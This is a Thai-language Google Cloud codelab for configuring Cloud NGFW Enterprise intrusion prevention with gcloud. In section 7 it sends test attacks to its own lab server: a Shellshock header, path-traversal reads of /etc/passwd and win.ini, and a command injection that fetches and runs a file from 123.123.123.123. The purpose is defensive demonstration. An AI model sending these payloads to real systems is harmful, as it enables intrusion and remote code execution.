Cloud NGFW Enterprise - บริการป้องกันการบุกรุก (ไม่มีการตรวจสอบ TLS)

1. บทนำ

ไฟร์วอลล์รุ่นถัดไปของ Cloud (NGFW)

Cloud Next Generation คือบริการไฟร์วอลล์ที่มีการกระจายอย่างเต็มรูปแบบ ซึ่งมีความสามารถในการป้องกันขั้นสูง การแบ่งส่วนเล็กๆ และการครอบคลุมในวงกว้าง เพื่อปกป้องภาระงาน Google Cloud จากการโจมตีทั้งภายในและภายนอก

Cloud NGFW มีประโยชน์ดังต่อไปนี้

  • บริการไฟร์วอลล์แบบกระจาย: Cloud NGFW มีการบังคับใช้โฮสต์แบบเก็บสถานะและกระจายโดยสมบูรณ์บนภาระงานแต่ละรายการเพื่อเปิดใช้สถาปัตยกรรมความปลอดภัยแบบ Zero Trust
  • การกำหนดค่าและการติดตั้งใช้งานที่ง่ายขึ้น: Cloud NGFW ใช้นโยบายเครือข่ายและไฟร์วอลล์แบบลำดับชั้นที่แนบกับโหนดลำดับชั้นของทรัพยากรได้ นโยบายเหล่านี้ให้ประสบการณ์การใช้งานไฟร์วอลล์ที่สอดคล้องกันในลำดับชั้นทรัพยากรของ Google Cloud
  • การควบคุมแบบละเอียดและการแบ่งส่วนไมโคร: การใช้นโยบายไฟร์วอลล์ร่วมกับแท็กที่จัดการโดย Identity and Access Management (IAM) จะช่วยควบคุมการรับส่งข้อมูลทั้งจากเหนือ-ใต้ และตะวันตกถึงตะวันตกอย่างละเอียด ไปจนถึง VM เดียวทั่วทั้งเครือข่ายและองค์กรของ Virtual Private Cloud (VPC)

Cloud NGFW มีให้บริการในระดับต่อไปนี้

องค์กร NGFW ระบบคลาวด์

Cloud NGFW Enterprise เพิ่มบริการป้องกันการบุกรุก (IPS) ซึ่งเป็นความสามารถเลเยอร์ 7 ลงในไฟล์ Google Cloud ไฟร์วอลล์ที่กระจายตัวอยู่ การตรวจสอบ TLS มีไว้เพื่ออนุญาตให้ตรวจสอบการรับส่งข้อมูลที่เข้ารหัส TLS แต่อยู่นอกขอบเขตของ Codelab นี้ (โปรดดู Cloud NGFW Enterprise Codelab ที่มีการตรวจสอบ TLS)

ตอนนี้คุณสามารถติดตั้งใช้งานการตรวจสอบ Layer 7 Next Generation Firewall (NGFW) ที่เชื่อถือได้ด้วยการควบคุมแบบละเอียด โดยไม่ต้องเปลี่ยนแปลงสถาปัตยกรรมเครือข่ายหรือการกำหนดค่าการกำหนดเส้นทาง

หากต้องการเปิดใช้งานและทำให้การควบคุมไฟร์วอลล์ใน Layer 7 ใช้งานได้ด้วย IPS คุณต้องดำเนินการต่อไปนี้

  • สร้างชุดปลายทางไฟร์วอลล์ระดับโซนที่มีการจัดการของ Google Cloud
  • สร้างนโยบายการตรวจสอบ TLS หรือไม่ก็ได้ (ไม่ครอบคลุมใน Codelab นี้)
  • สร้างการกำหนดค่าความน่าเชื่อถือ (ไม่มีใน Codelab นี้) (ไม่บังคับ)
  • เชื่อมโยงปลายทางเหล่านี้กับเครือข่าย Virtual Private Cloud (VPC) ที่คุณต้องการบริการ Cloud NGFW Enterprise
  • ทำการเปลี่ยนแปลงง่ายๆ กับนโยบายไฟร์วอลล์และกฎไฟร์วอลล์ที่มีอยู่ เพื่อระบุโปรไฟล์การป้องกันภัยคุกคามสำหรับเส้นทางการรับส่งข้อมูลต่างๆ

นโยบายไฟร์วอลล์ของเครือข่าย

นโยบายไฟร์วอลล์ของเครือข่ายทำหน้าที่เป็นคอนเทนเนอร์สำหรับกฎไฟร์วอลล์ กฎที่กำหนดไว้ในนโยบายไฟร์วอลล์ของเครือข่ายจะไม่มีการบังคับใช้นโยบายที่ใดเลยจนกว่านโยบายจะเชื่อมโยงกับเครือข่าย VPC เครือข่าย VPC แต่ละเครือข่ายจะมีนโยบายไฟร์วอลล์ของเครือข่ายเชื่อมโยงอยู่ได้ 1 รายการ นโยบายไฟร์วอลล์เครือข่ายรองรับแท็กที่ควบคุมโดย IAM (หรือเรียกเพียงแท็ก) ในกฎไฟร์วอลล์ ซึ่งจะแทนที่แท็กเครือข่ายปัจจุบันและใช้เพื่อระบุข้อมูลประจำตัวให้กับภาระงานได้

การแชร์นโยบายไฟร์วอลล์ของเครือข่ายข้ามเครือข่ายและการผสานรวมกับแท็กที่ควบคุมโดย IAM จะช่วยให้การกำหนดค่าและการจัดการไฟร์วอลล์ง่ายขึ้นมาก

หลังจากเริ่มใช้นโยบายไฟร์วอลล์ของเครือข่าย ปัจจุบันนโยบายไฟร์วอลล์ของ Google Cloud จะประกอบไปด้วยคอมโพเนนต์ต่อไปนี้

  1. นโยบายไฟร์วอลล์แบบลำดับชั้น
  2. กฎไฟร์วอลล์ VPC
  3. นโยบายไฟร์วอลล์เครือข่าย ( ทั่วโลกและภูมิภาค)

นโยบายไฟร์วอลล์แบบลำดับชั้นได้รับการรองรับที่โหนดองค์กรและโฟลเดอร์ภายในลำดับชั้นทรัพยากร ขณะที่จะมีการใช้กฎไฟร์วอลล์ VPC และนโยบายไฟร์วอลล์ของเครือข่ายที่ระดับ VPC ความแตกต่างที่สำคัญระหว่างกฎไฟร์วอลล์ VPC และนโยบายไฟร์วอลล์ของเครือข่ายคือ กฎไฟร์วอลล์ของ VPC จะใช้ได้กับเครือข่าย VPC เดียวเท่านั้น ในขณะที่นโยบายไฟร์วอลล์เครือข่ายอาจแนบอยู่กับ VPC เดียวหรือกลุ่มของ VPC รวมถึงประโยชน์อื่นๆ เช่น การอัปเดตเป็นกลุ่ม

สุดท้าย เรายังมีกฎไฟร์วอลล์โดยนัยที่มาพร้อมกับเครือข่าย VPC ทั้งหมด ดังนี้

  • กฎข้อมูลขาออกที่การดำเนินการอนุญาต ปลายทางคือ 0.0.0.0/0
  • กฎขาเข้าที่ปฏิเสธการดำเนินการ แหล่งที่มาคือ 0.0.0.0/0

โดยค่าเริ่มต้น ลำดับการบังคับใช้จะแสดงในแผนภาพต่อไปนี้

21b3bcabc469ffe.png

โปรดทราบว่าลำดับการบังคับใช้ระหว่างกฎไฟร์วอลล์ VPC และนโยบายไฟร์วอลล์ของเครือข่ายทั่วโลกสามารถสลับได้ ลูกค้าระบุคำสั่งบังคับใช้ได้ทุกเมื่อด้วยคำสั่ง gcloud

แท็กที่อยู่ภายใต้ IAM

แท็กใหม่ที่ผสานรวมอยู่ในกฎของนโยบายไฟร์วอลล์เครือข่ายเป็นทรัพยากรคู่คีย์-ค่าที่กำหนดในองค์กรหรือระดับโปรเจ็กต์ของลำดับชั้นทรัพยากรของ Google Cloud แท็กดังกล่าวมีการควบคุมการเข้าถึง IAM ตามที่ชื่อกล่าวไว้ ซึ่งระบุว่าใครจะทำอะไรในแท็กได้ ตัวอย่างเช่น สิทธิ์ IAM ให้ผู้ใช้ระบุผู้ใช้หลักที่สามารถกำหนดค่าให้กับแท็กได้ และผู้ใช้หลักรายใดสามารถแนบแท็กกับทรัพยากรได้ เมื่อใช้แท็กกับทรัพยากรแล้ว กฎของไฟร์วอลล์ของเครือข่ายจะใช้แท็กนั้นเพื่ออนุญาตหรือปฏิเสธการรับส่งข้อมูลได้

แท็กเป็นไปตามโมเดลทรัพยากรการสืบทอดของ Google Cloud ซึ่งหมายความว่าแท็กและค่าของแท็กจะส่งผ่านลำดับชั้นจากระดับบนสุด ด้วยเหตุนี้ แท็กอาจสร้างขึ้นในที่เดียว จากนั้นโฟลเดอร์และโปรเจ็กต์อื่นๆ อาจใช้ทั่วทั้งลำดับชั้นทรัพยากร ไปที่หน้านี้เพื่อดูรายละเอียดเกี่ยวกับแท็กและการจํากัดการเข้าถึง

ไม่ควรสับสนแท็กกับแท็กเครือข่าย รายการหลังเป็นสตริงที่เพิ่มลงในอินสแตนซ์ Compute Engine ได้ ที่เชื่อมโยงกับอินสแตนซ์และจะหายไปเมื่ออินสแตนซ์เลิกใช้งานแล้ว กฎของไฟร์วอลล์ VPC อาจรวมแท็กเครือข่ายได้ แต่เนื่องจากกฎเหล่านี้ไม่ถือว่าเป็นทรัพยากรระบบคลาวด์ จึงไม่ได้อยู่ภายใต้การควบคุมการเข้าถึง IAM

โปรดทราบว่ามีการใช้แท็กและแท็กที่ควบคุม IAM สลับกันในเอกสารนี้

สิ่งที่คุณจะสร้าง

Codelab นี้ต้องใช้โปรเจ็กต์เดียวและความสามารถในการสร้างเครือข่าย VPC ที่มีการเชื่อมต่อสาธารณะ และจะสาธิตวิธีที่ Cloud NGFW Enterprise มอบฟังก์ชันการทำงาน IPS ได้โดยทำดังนี้

  • การตรวจสอบขั้นตอนภายในVPC/ซับเน็ต [ตะวันออก-ตะวันตก]
  • การตรวจสอบการไหลเข้าจากอินเทอร์เน็ต [เหนือ - ใต้]

ระบบจะเลือกขั้นตอนที่ต้องตรวจสอบโดยใช้พารามิเตอร์การจับคู่ Cloud ไฟร์วอลล์ ซึ่งได้แก่ 5-Tuple (IP ต้นทาง, IP ปลายทาง, โปรโตคอล, พอร์ตต้นทาง, พอร์ตปลายทาง) และแท็ก การตรวจสอบ TLS ไม่รวมอยู่ใน Codelab นี้

52a0642ef8668ecf.png

ฐานกฎของนโยบายไฟร์วอลล์เครือข่ายจะคล้ายกับตารางด้านล่าง

ลำดับความสำคัญ

ทิศทาง

Target

แหล่งที่มา

ปลายทาง

การดำเนินการ

ประเภท

100

ขาออก

Quarantine_Tag

ตามแต่ละประเทศ

ตามแต่ละประเทศ

ปฏิเสธ

Essentials

1000

ขาเข้า

Server_Tag

ช่วงการตรวจสอบประสิทธิภาพการทำงาน

ตามแต่ละประเทศ

อนุญาต

Essentials

2000

ขาเข้า

ตามแต่ละประเทศ

ช่วงของ Identity-Aware Proxy

ตามแต่ละประเทศ

อนุญาต

Essentials

3000

ขาเข้า

ตามแต่ละประเทศ

ภูมิศาสตร์ GCTI

ตามแต่ละประเทศ

ปฏิเสธ

มาตรฐาน

4000

ขาออก

ตามแต่ละประเทศ

ตามแต่ละประเทศ

ภูมิศาสตร์ GCTI

ปฏิเสธ

มาตรฐาน

5000

ขาออก

ตามแต่ละประเทศ

ตามแต่ละประเทศ

FQDN ของการอัปเดตระบบ

อนุญาต

มาตรฐาน

6000

ขาเข้า

Server_Tag

10.0.0.0/24

ตามแต่ละประเทศ

IPS

Enterprise

7000

ขาเข้า

Server_Tag

CloudNAT_IP

ตามแต่ละประเทศ

IPS

Enterprise

สิ่งที่คุณจะได้เรียนรู้

สิ่งที่คุณต้องมี

  • โปรเจ็กต์ Google Cloud
  • ความรู้ในการทำให้อินสแตนซ์ใช้งานได้และการกำหนดค่าคอมโพเนนต์เครือข่าย
  • ความรู้เกี่ยวกับการกำหนดค่าไฟร์วอลล์ VPC

2. ก่อนเริ่มต้น

สร้าง/อัปเดตตัวแปร

Codelab นี้ใช้ $variables เพื่อช่วยในการติดตั้งใช้งานการกำหนดค่า gcloud ใน Cloud Shell

ใน Cloud Shell ให้เรียกใช้คำสั่งด้านล่างโดยแทนที่ข้อมูลในวงเล็บเหลี่ยมตามที่จำเป็น (ข้ามการตั้งค่าโปรเจ็กต์หากมีการตั้งค่าไว้ที่ต้องการแล้ว) ระบบจะใช้ตัวแปรอื่นสำหรับทรัพยากรระดับองค์กร หากมีหลายรายการ เช่น จำเป็นต้องมีปลายทางไฟร์วอลล์

gcloud config set project [project-id]

export project_id=$(gcloud config list --format="value(core.project)")
export org_id=$(gcloud projects get-ancestors $project_id --format="csv[no-heading](id,type)" | grep ",organization$" | cut -d"," -f1 )
export region=[region]
export zone=[zone]
export prefix=cloudngfw
export org_prefix=cloudngfw
export billing_project_id=[project-id]

3. เปิดใช้ API

เปิดใช้ API หากยังไม่ได้เปิดใช้

gcloud services enable compute.googleapis.com
gcloud services enable networksecurity.googleapis.com
gcloud services enable certificatemanager.googleapis.com
gcloud services enable networkservices.googleapis.com
gcloud services enable privateca.googleapis.com

4. การสร้างโปรไฟล์การรักษาความปลอดภัยองค์กรและ Cloud NGFW สำหรับปลายทาง

เนื่องจากการสร้างปลายทาง Cloud NGFW Enterprise จะใช้เวลาประมาณ 20 นาที ระบบจึงสร้างอุปกรณ์ดังกล่าวก่อน และคุณจะตั้งค่าพื้นฐานได้พร้อมกันระหว่างที่กำลังสร้างปลายทาง

วิธีสร้างโปรไฟล์ความปลอดภัยและกลุ่มโปรไฟล์ความปลอดภัย

gcloud network-security security-profiles threat-prevention \
  create $org_prefix-sp-threat \
  --organization $org_id \
  --location=global

gcloud network-security security-profile-groups create \
  $org_prefix-spg \
  --organization $org_id \
  --location=global \
  --threat-prevention-profile organizations/$org_id/locations/global/securityProfiles/$org_prefix-sp-threat

เอาต์พุตที่คาดไว้:

Waiting for security-profile [organizations/$org_id/locations/global/securityProfiles/$org_prefix-sp-threat] to be created...done.

Waiting for operation [organizations/$org_id/locations/global/operations/operation-1687458013374-5febbef75e993-ea522924-c963d150] to com
plete...done.                                                                                                                                 
Created security profile group [$org_prefix-spg].

ยืนยันว่าสร้างทรัพยากรเรียบร้อยแล้ว โดยทำดังนี้

gcloud network-security security-profiles threat-prevention \
  list --location=global --organization $org_id

gcloud network-security security-profile-groups list \
  --organization $org_id --location=global

เอาต์พุตที่คาดไว้:

NAME: cloudngfw-sp-threat
NAME: cloudngfw-spg

สร้างปลายทาง Cloud NGFW Enterprise ด้วยคำสั่งต่อไปนี้

gcloud network-security firewall-endpoints create $org_prefix-$zone \
  --zone=$zone --organization $org_id \
  --billing-project $billing_project_id

เรียกใช้คำสั่งด้านล่างเพื่อยืนยันว่ากำลังสร้างปลายทาง (STATE: CREATING)

gcloud network-security firewall-endpoints list --zone $zone \
  --organization $org_id

เอาต์พุตที่ต้องการ (โปรดทราบว่ารูปแบบเอาต์พุตอาจแตกต่างกันไปตามไคลเอ็นต์ที่ใช้)

ID: cloudngfw-[zone]
LOCATION: [zone]
STATE: CREATING

(ไม่บังคับ) เรียกใช้คำสั่งด้านล่างเพื่อดูรายละเอียดเพิ่มเติม

gcloud network-security firewall-endpoints describe \
  $org_prefix-$zone --organization $org_id --zone $zone

เอาต์พุตที่คาดไว้:

createTime: '2023-04-25T18:08:45.493499362Z'
name: organizations/[org-id]/locations/[zone]/firewallEndpoints/cloudngfw-[zone]
state: CREATING
updateTime: '2023-04-25T18:08:45.493499362Z'

กระบวนการสร้างปลายทางจะใช้เวลาประมาณ 20 นาที ดำเนินการต่อในหัวข้อการตั้งค่าฐานเพื่อสร้างทรัพยากรที่จำเป็นพร้อมกัน

5. การตั้งค่าฐาน

ดำเนินการต่อในหัวข้อต่อไปนี้หากคุณต้องการสร้างทรัพยากรพื้นฐานด้วยตนเอง

เครือข่ายและซับเน็ต VPC

เครือข่ายและซับเน็ต VPC

สร้างเครือข่าย VPC และซับเน็ตดังต่อไปนี้

gcloud compute networks create $prefix-vpc --subnet-mode=custom 

gcloud compute networks subnets create $prefix-$region-subnet \
   --range=10.0.0.0/24 --network=$prefix-vpc --region=$region

Cloud NAT

สร้างเราเตอร์ Cloud และเกตเวย์ Cloud NAT โดยทำดังนี้

gcloud compute addresses create $prefix-$region-cloudnatip --region=$region

export cloudnatip=$(gcloud compute addresses list --filter=name:$prefix-$region-cloudnatip --format="value(address)")

gcloud compute routers create $prefix-cr \
  --region=$region --network=$prefix-vpc

gcloud compute routers nats create $prefix-cloudnat-$region \
   --router=$prefix-cr --router-region $region \
   --nat-all-subnet-ip-ranges \
   --nat-external-ip-pool=$prefix-$region-cloudnatip

กิจกรรม

สร้างอินสแตนซ์ของไคลเอ็นต์และเว็บเซิร์ฟเวอร์

gcloud compute instances create $prefix-$zone-www \
   --subnet=$prefix-$region-subnet --no-address --zone $zone \
   --metadata startup-script='#! /bin/bash
apt-get update
apt-get install apache2 tcpdump iperf3 -y
a2ensite default-ssl
a2enmod ssl
# Read VM network configuration:
md_vm="http://169.254.169.254/computeMetadata/v1/instance/"
vm_hostname="$(curl $md_vm/name -H "Metadata-Flavor:Google" )"
filter="{print \$NF}"
vm_network="$(curl $md_vm/network-interfaces/0/network \
-H "Metadata-Flavor:Google" | awk -F/ "${filter}")"
vm_zone="$(curl $md_vm/zone \
-H "Metadata-Flavor:Google" | awk -F/ "${filter}")"
# Apache configuration:
echo "Page on $vm_hostname in network $vm_network zone $vm_zone" | \
tee /var/www/html/index.html
systemctl restart apache2'

gcloud compute instances create $prefix-$zone-client \
   --subnet=$prefix-$region-subnet --no-address --zone $zone \
   --scopes=compute-ro \
   --metadata startup-script='#! /bin/bash
        apt-get update
        apt-get install apache2-utils iperf3 tcpdump -y'

แท็กระดับ Roject

กำหนดสิทธิ์ของ tagAdmin และ/หรือ tagUser หากจำเป็นดังต่อไปนี้

export user_id=$(gcloud auth list --format="value(account)")

gcloud projects add-iam-policy-binding $project_id --member user:$user_id --role roles/resourcemanager.tagAdmin

gcloud projects add-iam-policy-binding $project_id --member user:$user_id --role roles/resourcemanager.tagUser

สร้างคีย์และค่าของแท็กระดับโปรเจ็กต์

gcloud resource-manager tags keys create $prefix-vpc-tags \
   --parent projects/$project_id \
   --purpose GCE_FIREWALL \
   --purpose-data network=$project_id/$prefix-vpc

gcloud resource-manager tags values create $prefix-vpc-client \
   --parent=$project_id/$prefix-vpc-tags

gcloud resource-manager tags values create $prefix-vpc-server \
   --parent=$project_id/$prefix-vpc-tags

gcloud resource-manager tags values create $prefix-vpc-quarantine \
   --parent=$project_id/$prefix-vpc-tags

เชื่อมโยงแท็กกับอินสแตนซ์:

gcloud resource-manager tags bindings create \
  --location $zone \
  --tag-value $project_id/$prefix-vpc-tags/$prefix-vpc-server \
  --parent //compute.googleapis.com/projects/$project_id/zones/$zone/instances/$prefix-$zone-www

gcloud resource-manager tags bindings create \
  --location $zone \
  --tag-value $project_id/$prefix-vpc-tags/$prefix-vpc-client \
  --parent //compute.googleapis.com/projects/$project_id/zones/$zone/instances/$prefix-$zone-client

นโยบายไฟร์วอลล์ของเครือข่ายทั่วโลก

สร้างนโยบายไฟร์วอลล์ของเครือข่ายทั่วโลก:

gcloud compute network-firewall-policies create \
   $prefix-fwpolicy --description \
   "Cloud NGFW Enterprise" --global

สร้างกฎของ Cloud Firewall Essential เพื่อปฏิเสธการรับส่งข้อมูลจากอินสแตนซ์ที่กักเก็บ (สร้างขึ้นเพื่อเป็นตัวอย่างเท่านั้น และไม่ได้นำไปใช้ใน Codelab นี้) และอนุญาตการรับส่งข้อมูลจากช่วงการตรวจสอบประสิทธิภาพการทำงานและ Identity-Aware Proxy

gcloud compute network-firewall-policies rules create 100 \
        --description="block quarantined workloads" \
        --action=deny \
        --firewall-policy=$prefix-fwpolicy \
        --global-firewall-policy \
        --layer4-configs=all \
        --direction=EGRESS \
        --target-secure-tags $project_id/$prefix-vpc-tags/$prefix-vpc-quarantine \
        --dest-ip-ranges=0.0.0.0/0

gcloud compute network-firewall-policies rules create 1000 \
        --description="allow http traffic from health-checks ranges" \
        --action=allow \
        --firewall-policy=$prefix-fwpolicy \
        --global-firewall-policy \
        --layer4-configs=tcp:80,tcp:443 \
        --direction=INGRESS \
        --target-secure-tags $project_id/$prefix-vpc-tags/$prefix-vpc-server \
--src-ip-ranges=35.191.0.0/16,130.211.0.0/22,209.85.152.0/22,209.85.204.0/22

gcloud compute network-firewall-policies rules create 2000 \
        --description="allow ssh traffic from identity-aware-proxy ranges" \
        --action=allow \
        --firewall-policy=$prefix-fwpolicy \
        --global-firewall-policy \
        --layer4-configs=tcp:22 \
        --direction=INGRESS \
        --src-ip-ranges=35.235.240.0/20

สร้างกฎมาตรฐานของ Cloud Firewall เพื่อปฏิเสธการรับส่งข้อมูลขาเข้าและขาออกจาก/ไปยังประเทศที่ถูกคว่ำบาตร รวมถึง IP ที่เป็นอันตรายและโหนดทางออกของ ToR ที่ทราบ และอนุญาตการรับส่งข้อมูลขาออกไปยัง FQDN ที่ระบุสำหรับการอัปเดตระบบเท่านั้น (สร้างขึ้นเพื่อเป็นตัวอย่างเท่านั้น และไม่ได้นำไปใช้ใน Codelab นี้)

gcloud compute network-firewall-policies rules create 3000 \
        --description="block ingress traffic from sanctioned countries, known malicious IPs and ToR exit nodes" \
        --action=deny \
        --firewall-policy=$prefix-fwpolicy \
        --global-firewall-policy \
        --layer4-configs=all \
        --direction=INGRESS \
        --src-region-codes CU,IR,KP,SY,XC,XD \
        --src-threat-intelligence iplist-tor-exit-nodes,iplist-known-malicious-ips

gcloud compute network-firewall-policies rules create 4000 \
        --description="block egress traffic from sactioned countries, known malicious IPs and ToR exit nodes" \
        --action=deny \
        --firewall-policy=$prefix-fwpolicy \
        --global-firewall-policy \
        --layer4-configs=all \
        --direction=EGRESS \
        --dest-region-codes CU,IR,KP,SY,XC,XD \
        --dest-threat-intelligence iplist-tor-exit-nodes,iplist-known-malicious-ips

gcloud compute network-firewall-policies rules create 5000 \
        --description "allow system updates" \
        --action=allow \
        --firewall-policy=$prefix-fwpolicy \
        --global-firewall-policy \
        --layer4-configs=tcp:80,tcp:443 \
        --direction=EGRESS \
--dest-fqdns=ftp.us.debian.org,debian.map.fastly.net,packages.cloud.google.com,www3.l.google.com

สร้างกฎ Cloud ไฟร์วอลล์ เพื่ออนุญาตการรับส่งข้อมูลขาเข้าในทิศตะวันออก-ตะวันตก / ภายในซับเน็ต และเหนือ ใต้ / อินเทอร์เน็ตจากช่วงที่เจาะจง (ระบบจะอัปเดตกฎเหล่านี้เพื่อเปิดใช้ Cloud NGFW Enterprise) ดังนี้

gcloud compute network-firewall-policies rules create 6000 \
        --description "allow ingress internal traffic from clients" \
        --action=allow \
        --firewall-policy=$prefix-fwpolicy \
        --global-firewall-policy \
        --direction=INGRESS \
        --enable-logging \
        --layer4-configs all \
        --src-ip-ranges=10.0.0.0/24 \
          --target-secure-tags $project_id/$prefix-vpc-tags/$prefix-vpc-server

gcloud compute network-firewall-policies rules create 7000 \
        --description "allow ingress external traffic to server" \
        --action=allow \
        --firewall-policy=$prefix-fwpolicy \
        --global-firewall-policy \
        --layer4-configs=tcp:80,tcp:443 \
        --direction=INGRESS \
        --enable-logging \
        --src-ip-ranges=$cloudnatip \
        --target-secure-tags $project_id/$prefix-vpc-tags/$prefix-vpc-server

เชื่อมโยงนโยบายไฟร์วอลล์ของเครือข่ายกับเครือข่าย VPC ดังนี้

gcloud compute network-firewall-policies associations create \
        --firewall-policy $prefix-fwpolicy \
        --network $prefix-vpc \
        --name $prefix-fwpolicy-association \
        --global-firewall-policy

ตัวจัดสรรภาระงานเครือข่าย TCP/UDP ภายนอก

จองที่อยู่ IP ภายนอกและสร้างกลุ่มอินสแตนซ์และการตรวจสอบประสิทธิภาพการทำงาน ดังนี้

gcloud compute addresses create $prefix-$region-nlbip --region=$region

gcloud compute instance-groups unmanaged create $prefix-ig \
    --zone $zone

gcloud compute instance-groups unmanaged add-instances $prefix-ig \
   --instances $prefix-$zone-www --zone $zone

gcloud compute health-checks create http $prefix-$region-hc-http80 \
   --region $region --port 80

สร้างบริการแบ็กเอนด์และกฎการส่งต่อ

gcloud compute backend-services create $prefix-nlb-bes \
    --protocol TCP \
    --health-checks $prefix-$region-hc-http80 \
    --health-checks-region $region \
    --region $region

gcloud compute backend-services add-backend $prefix-nlb-bes \
    --instance-group $prefix-ig \
    --instance-group-zone $zone \
    --region $region

gcloud compute forwarding-rules create $prefix-nlb-ipv4 \
  --load-balancing-scheme EXTERNAL \
  --region $region \
  --ports 80 \
  --address $prefix-$region-nlbip \
  --backend-service $prefix-nlb-bes

6. การเชื่อมโยงปลายทาง Cloud NGFW Enterprise

กำหนดตัวแปรสภาพแวดล้อมใหม่หากจำเป็น

ยืนยันว่าการสร้างปลายทาง Cloud ไฟร์วอลล์เสร็จสมบูรณ์แล้ว ดำเนินการต่อเมื่อสถานะแสดงเป็นใช้งานอยู่เท่านั้น (ระหว่างการสร้าง สถานะที่คาดไว้คือ กำลังสร้าง) ดังนี้

gcloud network-security firewall-endpoints list --zone $zone \
  --organization $org_id

เอาต์พุตที่ต้องการ (โปรดทราบว่ารูปแบบเอาต์พุตอาจแตกต่างกันไปตามไคลเอ็นต์ที่ใช้)

ID: cloudngfw-[zone]
LOCATION: [zone]
STATE: ACTIVE

(ไม่บังคับ) เรียกใช้คำสั่งด้านล่างเพื่อดูรายละเอียดเพิ่มเติม

gcloud network-security firewall-endpoints describe \
  $org_prefix-$zone --organization $org_id --zone $zone

เอาต์พุตที่คาดไว้:

createTime: '2023-04-25T18:08:45.493499362Z'
name: organizations/[org-id]/locations/[zone]/firewallEndpoints/cloudngfw-[zone]
state: ACTIVE
updateTime: '2023-04-25T18:29:40.840608100Z'

เชื่อมโยงปลายทาง Cloud NGFW Enterprise กับเครือข่าย VPC ดังนี้

gcloud network-security firewall-endpoint-associations create \
  $prefix-association --zone $zone \
  --network=$prefix-vpc --endpoint $org_prefix-$zone \
  --organization $org_id

ขั้นตอนการเชื่อมโยงจะใช้เวลาประมาณ 10 นาที ดำเนินการต่อเมื่อสถานะแสดงเป็นใช้งานอยู่เท่านั้น (สถานะที่คาดไว้คือ กำลังสร้าง ในระหว่างขั้นตอนการสร้าง)

gcloud network-security firewall-endpoint-associations list

เอาต์พุตที่คาดไว้:

ID: cloudngfw-association
LOCATION: [zone]
NETWORK: cloudngfw-vpc
ENDPOINT: cloudngfw-[zone]
STATE: ACTIVE

(ไม่บังคับ) เรียกใช้คำสั่งด้านล่างเพื่อดูรายละเอียดเพิ่มเติม

gcloud network-security firewall-endpoint-associations \
  describe $prefix-association --zone $zone

เอาต์พุตที่คาดไว้:

createTime: '2023-05-01T22:25:06.218544436Z'
firewallEndpoint: organizations/[org-id]/locations/[zone]/firewallEndpoints/cloudngfw-[zone]
name: projects/[project-id]/locations/[zone]/firewallEndpointAssociations/cloudngfw-association
network: projects/[project-id]/global/networks/cloudngfw-vpc
state: ACTIVE
updateTime: '2023-05-01T22:33:06.467596536Z'

7. กฎการตรวจสอบ Cloud NGFW Enterprise

เปิดแท็บใหม่และเริ่มการเชื่อมต่อ SSH กับ VM ของไคลเอ็นต์ผ่าน IAP (คุณจะต้องกำหนดตัวแปรอีกครั้งในแท็บใหม่) โดยทำดังนี้

gcloud compute ssh $prefix-$zone-client --tunnel-through-iap --zone $zone

กำหนดตัวแปรที่ต้องการในเซสชัน SSH และตั้งค่าตัวแปร (ตรวจสอบว่าค่าถูกต้อง) ดังนี้

export region=[region]
export zone=[zone]
export prefix=cloudngfw

export target_privateip=$(gcloud compute instances list --filter=name:$prefix-$zone-www --format="value(networkInterfaces.networkIP)")

export target_nlbip=$(gcloud compute addresses list --filter=name:$prefix-$region-nlbip --format="value(address)")

ปิด IP ทั้งสองเพื่อยืนยันว่าสามารถเข้าถึงได้:

curl $target_privateip --max-time 2

curl $target_nlbip --max-time 2

ผลลัพธ์ที่คาดหวังสำหรับคำขอ curl ทั้งสอง:

Page on cloudngfw-[zone]-www in network cloudngfw-vpc zone [zone]

ส่งตัวอย่างการโจมตีไปยัง IP เซิร์ฟเวอร์ภายใน (การเข้าชมทางตะวันออก-ตะวันตก / ภายใน-VPC) เว็บเซิร์ฟเวอร์ควรตอบสนองต่อคำขอทั้งหมด โดยยืนยันว่าไม่มีการตรวจสอบ/การป้องกัน L7 ดังนี้

curl -H 'User-Agent: () { :; }; 123.123.123.123:9999' http://$target_privateip/cgi-bin/test-critical -m 3

curl http://$target_privateip/cgi-bin/../../../..//bin/cat%20/etc/passwd -m 3

curl http://$target_privateip/?item=../../../../WINNT/win.ini -m 3

curl "http://$target_privateip/weblogin.cgi?username=admin' -m 3;cd /tmp;wget http://123.123.123.123/evil --tries 2 -T 3;sh evil;rm evil"

ส่งตัวอย่างการโจมตีไปยัง IP ของเซิร์ฟเวอร์ภายนอกอีกครั้งผ่าน Cloud NAT (การรับส่งขาเข้าจากเหนือและใต้) และในทำนองเดียวกันเว็บเซิร์ฟเวอร์ควรตอบสนองต่อคำขอทั้งหมด ดังนี้

curl -H 'User-Agent: () { :; }; 123.123.123.123:9999' http://$target_nlbip/cgi-bin/test-critical -m 3

curl http://$target_nlbip/cgi-bin/../../../..//bin/cat%20/etc/passwd -m 3

curl http://$target_nlbip/?item=../../../../WINNT/win.ini -m 3

curl "http://$target_nlbip/weblogin.cgi?username=admin' -m 3;cd /tmp;wget http://123.123.123.123/evil --tries 2 -T 3;sh evil;rm evil"

ผลลัพธ์ที่คาดหวังสำหรับทั้ง IP สาธารณะและส่วนตัว:

<!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN">
<html><head>
<title>404 Not Found</title>
</head><body>
<h1>Not Found</h1>
<p>The requested URL was not found on this server.</p>
<hr>
<address>Apache/2.4.56 (Debian) Server at [IP] Port 80</address>
</body></html>
<!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN">
<html><head>
<title>404 Not Found</title>
</head><body>
<h1>Not Found</h1>
<p>The requested URL was not found on this server.</p>
<hr>
<address>Apache/2.4.56 (Debian) Server at [IP] Port 80</address>
</body></html>
Page on cloudngfw-[zone]-www in network cloudngfw-vpc zone [zone]
<!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN">
<html><head>
<title>400 Bad Request</title>
</head><body>
<h1>Bad Request</h1>
<p>Your browser sent a request that this server could not understand.<br />
</p>
<hr>
<address>Apache/2.4.56 (Debian) Server at cloudngfw-[zone]-www.c.[project-id].internal Port 80</address>
</body></html>

เปลี่ยนกลับไปใช้ Cloud Shell และอัปเดตกฎขาเข้าที่มีอยู่เพื่อเปิดใช้การตรวจสอบ L7 ดังนี้

gcloud compute network-firewall-policies rules update 6000 \
   --action=apply_security_profile_group \
   --firewall-policy=$prefix-fwpolicy \
   --enable-logging \
   --global-firewall-policy \
--security-profile-group=//networksecurity.googleapis.com/organizations/$org_id/locations/global/securityProfileGroups/$org_prefix-spg

gcloud compute network-firewall-policies rules update 7000 \
